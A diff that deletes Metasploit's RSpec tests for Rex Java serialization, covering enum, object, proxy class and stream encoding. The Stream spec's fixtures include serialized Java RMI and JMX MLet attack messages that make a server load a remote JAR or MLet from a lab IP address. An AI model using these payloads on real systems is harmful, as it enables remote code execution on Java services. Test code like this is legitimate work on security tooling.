expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum)
end
it "deserializes the constant_name correctly" do
new_enum.decode(sample_enum_io)
expect(new_enum.constant_name.contents).to eq('SUNDAY')
end
end
describe "#encode" do
it "serializes an Enum" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day')
new_class_desc.serial_version = 0
new_class_desc.flags = 18
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum')
new_class_desc.super_class.description.serial_version = 0
new_class_desc.super_class.description.flags = 18
new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new
new_enum.enum_description.description = new_class_desc
new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY')
expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample NewEnum stream" do
new_enum.decode(sample_enum_io)
expect(new_enum.to_s).to eq('SUNDAY')
end
end
end

View File

@ -1,82 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewObject do
subject(:new_object) do
described_class.new
end
let(:easy_object) do
"\x72\x00\x04\x45\x61\x73\x79\x74" +
"\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" +
"\x00\x01\x49\x00\x03\x53\x53\x4e" +
"\x78\x70\x41\x42\x43\x44"
end
let(:easy_object_io) { StringIO.new(easy_object) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewObject" do
expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "initializes class_desc with nil" do
expect(new_object.class_desc).to be_nil
end
it "initializes class_data with empty array" do
expect(new_object.class_data).to be_empty
end
end
describe "#decode" do
it "deserializes an object" do
expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject)
end
it "deserializes the object class fields correctly" do
new_object.decode(easy_object_io)
expect(new_object.class_desc.description.fields.length).to eq(1)
end
it "deserializes the object class data correctly" do
new_object.decode(easy_object_io)
expect(new_object.class_data).to eq([['int', 0x41424344]])
end
end
describe "#encode" do
it "serializes an Object" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
new_class_desc.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
new_class_desc.fields << field
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = [['int', 0x41424344]]
expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample Object stream" do
new_object.decode(easy_object_io)
expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }')
end
end
end

View File

@ -1,115 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do
subject(:proxy_class_desc) do
described_class.new
end
let(:sample) do
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "initializes interfaces with empty Array" do
expect(proxy_class_desc.interfaces).to be_empty
end
it "initializes class_annotation with nil" do
expect(proxy_class_desc.class_annotation).to be_nil
end
it "initializes super_class with nil" do
expect(proxy_class_desc.super_class).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "deserializes interfaces" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces.length).to eq(1)
end
it "deserializes interfaces contents correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
end
it "deserializes class annotation correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes class annotation contents" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
end
it "deserializes super_class" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes super class description" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a ProxyClassDesc" do
field = Rex::Java::Serialization::Model::Field.new
field.type = 'object'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
super_class_desc_new.serial_version = 0xe127da20cc1043cb
super_class_desc_new.flags = 2
super_class_desc_new.fields << field
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
proxy_class_desc.interfaces << interface
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
proxy_class_desc.super_class = super_class_desc
expect(proxy_class_desc.encode).to eq(sample)
end
end
describe "#to_s" do
it "prints a sample NewClassDesc stream" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
end
end
end

View File

@ -1,428 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Stream do
subject(:stream) do
described_class.new
end
let(:easy_object_stream) do
"\xac\xed\x00\x05\x73\x72\x00\x04" +
"\x45\x61\x73\x79\x74\x1d\xe1\xbc" +
"\xbb\x2f\xcb\xaa\x02\x00\x01\x49" +
"\x00\x03\x53\x53\x4e\x78\x70\x41" +
"\x42\x43\x44"
end
let(:easy_object_stream_io) { StringIO.new(easy_object_stream) }
let(:easy_object_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
NewObject { Easy => { ["int", 1094861636] } }
]
@references: [
[7e0000] NewClassDesc { Easy, [ SSN (int) ] }
[7e0001] NewObject { Easy => { ["int", 1094861636] } }
]
EOS
}
let(:char_array_stream) do
"\xac\xed\x00\x05\x75\x72\x00\x02" +
"\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" +
"\x84\xac\x02\x00\x00\x78\x70\x00" +
"\x00\x00\x02\x00\x61\x00\x62"
end
let(:char_array_stream_io) { StringIO.new(char_array_stream) }
let(:char_array_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
NewArray { char, ["97", "98"] }
]
@references: [
[7e0000] NewClassDesc { [C, [ ] }
[7e0001] NewArray { char, ["97", "98"] }
]
EOS
}
let(:complex_stream) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" +
"\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" +
"\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" +
"\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" +
"\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" +
"\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
"\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" +
"\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" +
"\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" +
"\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" +
"\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
"\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" +
"\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" +
"\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" +
"\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" +
"\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" +
"\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" +
"\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" +
"\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" +
"\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" +
"\xc1\xc0"
end
let(:complex_stream_io) { StringIO.new(complex_stream) }
let(:complex_stream_to_s) {
<<-EOS
@magic: 0xaced
@version: 5
@contents: [
BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] }
NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] }
NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
]
@references: [
[7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] }
[7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
[7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] }
[7e0003] Utf { Ljava/rmi/server/UID; }
[7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } }
[7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] }
[7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } }
[7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] }
[7e0008] Utf { Ljava/rmi/dgc/VMID; }
[7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
[7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] }
[7e000b] Utf { [B }
[7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } }
[7e000d] NewClassDesc { [B, [ ] }
[7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] }
[7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } }
]
EOS
}
let(:rmi_call) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
end
let(:mbean_call) do
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
"\x2c\x69\x64\x3d\x31\x78\x70"
end
let(:marshalled_argument) do
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
end
describe ".new" do
it "Rex::Java::Serialization::Model::Stream" do
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "initializes magic with java serialized stream signature" do
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
end
it "initializes version with java serialized stream default version " do
expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION)
end
it "initializes references as empty array " do
expect(stream.references).to be_empty
end
it "initializes stream to nil by default" do
expect(stream.stream).to be_nil
end
end
describe "#decode" do
context "when deserializing a simple Object stream" do
it "deserializes an Stream" do
expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes the signature correctly" do
stream.decode(easy_object_stream_io)
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
end
it "deserializes all the contents" do
stream.decode(easy_object_stream_io)
expect(stream.contents.length).to eq(1)
end
it "deserializes a simple object correctly" do
stream.decode(easy_object_stream_io)
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
end
end
context "when deserializing a char array" do
it "deserializes an Stream" do
expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes the char array correctly" do
stream.decode(char_array_stream_io)
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
end
end
context "when deserializing a complex stream with references" do
it "deserializes an Stream" do
expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "deserializes all the contents in the Stream" do
stream.decode(complex_stream_io)
expect(stream.contents.length).to eq(4)
end
it "deserializes object contents" do
stream.decode(complex_stream_io)
expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject)
end
end
end
describe "#to_s" do
it "prints a simple Object stream" do
stream.decode(easy_object_stream_io)
expect(stream.to_s).to eq(easy_object_stream_to_s)
end
it "prints a char array stream" do
stream.decode(char_array_stream_io)
expect(stream.to_s).to eq(char_array_stream_to_s)
end
it "prints a complex stream with references" do
stream.decode(complex_stream_io)
expect(stream.to_s).to eq(complex_stream_to_s)
end
end
describe "#encode" do
context "when serializing a simple Object stream" do
it "serializes the Stream" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
new_class_desc.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
new_class_desc.fields << field
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = [['int', 0x41424344]]
stream.contents << new_object
expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*"))
end
end
context "when serializing a char array" do
it "serializes the Stream" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
new_class_desc.serial_version = 0xb02666b0e25d84ac
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'char'
new_array.values = [97, 98]
stream.contents << new_array
expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*"))
end
end
context "when reserializing a complex stream" do
it "reserializes the original stream" do
stream.decode(complex_stream_io)
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
end
end
context "when serializing a Java RMI call" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
expect(stream.encode).to eq(rmi_call)
end
end
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
it "serializes the stream correctly" do
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
block_data.length = block_data.contents.length
stream.contents << block_data
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
new_class_desc.serial_version = 0xf03a71beb6d15cf
new_class_desc.flags = 3
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
expect(stream.encode).to eq(mbean_call)
end
end
context "when serializing a marshalled argument" do
it "serializes the stream correctly" do
stream = Rex::Java::Serialization::Model::Stream.new
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
new_array_class_desc.serial_version = 0x90ce589f1073296c
new_array_class_desc.flags = 2
new_array_class_desc.fields = []
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_array_class_desc
new_array.type = 'java.lang.Object;'
new_array.values = [
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
]
stream.contents << new_array
expect(stream.encode).to eq(marshalled_argument)
end
end
end
end

View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Utf do
subject(:utf) do
described_class.new
end
let(:sample_utf) { "\x00\x10java.lang.Number" }
let(:sample_utf_io) { StringIO.new(sample_utf) }
let(:empty_utf) { "\x00\x00" }
let(:empty_utf_io) { StringIO.new(empty_utf) }
let(:incomplete_utf) { "\x00\x10java.lang.Numb" }
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::Utf" do
expect(utf).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "initializes length to 0" do
expect(utf.length).to eq(0)
end
it "initializes contents with empty string" do
expect(utf.contents).to be_empty
end
end
describe "#encode" do
context "when empty utf" do
it { expect(utf.encode).to eq(empty_utf) }
end
context "when filled utf" do
it do
utf.length = 16
utf.contents = 'java.lang.Number'
expect(utf.encode).to eq(sample_utf)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty utf" do
it "returns a Rex::Java::Serialization::Model::Utf" do
expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "sets length to 0" do
utf.decode(empty_utf_io)
expect(utf.length).to eq(0)
end
it "sets contents to empty string" do
utf.decode(empty_utf_io)
expect(utf.contents).to be_empty
end
end
context "when stream contains incomplete utf" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct utf" do
it "returns a Rex::Java::Serialization::Model::Utf" do
expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "sets length to 0" do
utf.decode(sample_utf_io)
expect(utf.length).to eq(16)
end
it "sets contents to sample string" do
utf.decode(sample_utf_io)
expect(utf.contents).to eq('java.lang.Number')
end
end
end
describe "#to_s" do
it "prints an stream containing a sample utf" do
